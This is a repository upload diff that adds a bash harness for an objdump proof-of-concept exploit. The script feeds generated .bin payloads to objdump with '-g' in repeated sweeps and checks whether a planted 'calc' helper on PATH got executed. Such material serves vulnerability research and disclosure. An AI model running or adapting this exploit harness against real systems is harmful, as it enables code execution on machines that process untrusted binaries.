Upload files to "objdump-dlx-calc-poc"

objdump-dlx-calc-poc/run_dlx_calc_poc.sh

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+#!/usr/bin/env bash
+set -u
+
+BASE_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+OUT_DIR="${2:-$BASE_DIR/payloads}"
+MAX_TRIES="${MAX_TRIES:-50}"
+
+if [ "$#" -lt 1 ]; then
+  echo "usage: $0 /path/to/objdump [payload-directory]" >&2
+  exit 2
+fi
+
+OBJ="$1"
+
+if [ ! -x "$OBJ" ]; then
+  echo "objdump not executable: $OBJ" >&2
+  exit 2
+fi
+
+if ! compgen -G "$OUT_DIR/*.bin" >/dev/null; then
+  python3 "$BASE_DIR/generate_objdump_dlx_calc_poc.py" --out-dir "$OUT_DIR" >/dev/null
+fi
+
+cd "$BASE_DIR" || exit 2
+export PATH="$BASE_DIR:$PATH"
+rm -f "$BASE_DIR/calc_hit.log"
+
+for try in $(seq 1 "$MAX_TRIES"); do
+  for payload in "$OUT_DIR"/*.bin; do
+    python3 -c 'import subprocess, sys
+subprocess.run([sys.argv[1], "-g", sys.argv[2]], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)' "$OBJ" "$payload" >/dev/null 2>&1 || true
+    if grep -q "CALC_HELPER_RAN" "$BASE_DIR/calc_hit.log" 2>/dev/null; then
+      echo "HIT try=$try payload=$payload"
+      exit 0
+    fi
+  done
+done
+
+echo "MISS after $MAX_TRIES sweeps" >&2
+exit 1